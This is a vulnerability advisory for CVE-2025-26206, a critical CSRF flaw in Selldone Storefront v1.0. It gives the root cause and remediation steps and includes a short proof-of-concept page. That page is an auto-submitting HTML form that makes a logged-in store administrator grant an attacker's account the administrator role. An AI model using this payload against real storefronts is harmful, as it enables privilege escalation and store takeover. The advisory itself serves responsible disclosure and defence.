CVE-2025-26206: Cross-Site Request Forgery (CSRF) in Sell Done Storefront v.1.0

A critical Cross-Site Request Forgery (CSRF) vulnerability in Selldone Storefront v1.0 allows remote attackers to escalate privileges by tricking authenticated users into executing state-changing requests through the storefront application layer. Discovered and responsibly disclosed by Sibhi Balamurugan (@xibhi).

---

Overview

Field	Detail
CVE ID	CVE-2025-26206
Type	Cross-Site Request Forgery (CWE-352)
Product	Selldone Storefront
Affected Version	v1.0
Component	index.html / Session bootstrap
Impact	Privilege Escalation / Store Takeover
CVSS v3.1	9.0 (Critical) — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Discoverer	Sibhi Balamurugan (@xibhi)

---

Root Cause

Selldone Storefront v1.0 lacked anti-CSRF token verification on state-changing endpoints, and authentication cookies were stored without strict cross-site boundaries (SameSite omitted).

When an authenticated store owner or administrator visits an attacker-controlled webpage, the browser automatically attaches ambient session cookies to cross-origin requests, executing privileged operations without the victim's consent.

Attacker Site → Victim Browser (holds session) → Selldone API (cookie sent, no CSRF check) → Role Changed

---

Proof of Concept (PoC)

An attacker hosts a malicious page with an auto-submitting form targeting a privileged endpoint:

<form id="csrf" action="https://<TARGET-STOREFRONT>/api/v1/shop/roles" method="POST">
  <input type="hidden" name="user_id" value="attacker_id" />
  <input type="hidden" name="role" value="administrator" />
</form>
<script>
  document.getElementById("csrf").submit();
</script>

When an authenticated administrator visits the page, the browser submits the request with their credentials, elevating the attacker's account.

---

Remediation

1. Anti-CSRF Tokens: Require a validated X-CSRF-TOKEN or synchronizer token on all non-GET requests (POST, PUT, DELETE, PATCH).
2. Cookie Security: Set SameSite=Lax or SameSite=Strict, along with Secure and HttpOnly flags on session cookies.
3. Origin Validation: Verify Origin and Referer headers on all state-changing endpoints.
4. Update: Upgrade to the latest release of Selldone Storefront.

---

Disclosure Timeline

Date	Milestone
Feb 2025	Discovered and reported to vendor.
Feb 24, 2025	Initial advisory published.
Mar 03, 2025	NVD published entry.
Mar 04, 2025	NVD scored at CVSS 9.0 (Critical).

---

References & Credits

• NVD Entry (CVE-2025-26206)
• MITRE Record
• Selldone Storefront Repository
• OWASP CSRF Prevention Cheat Sheet

Discoverer: Sibhi Balamurugan (@xibhi)

---

License

This project is licensed under the MIT License.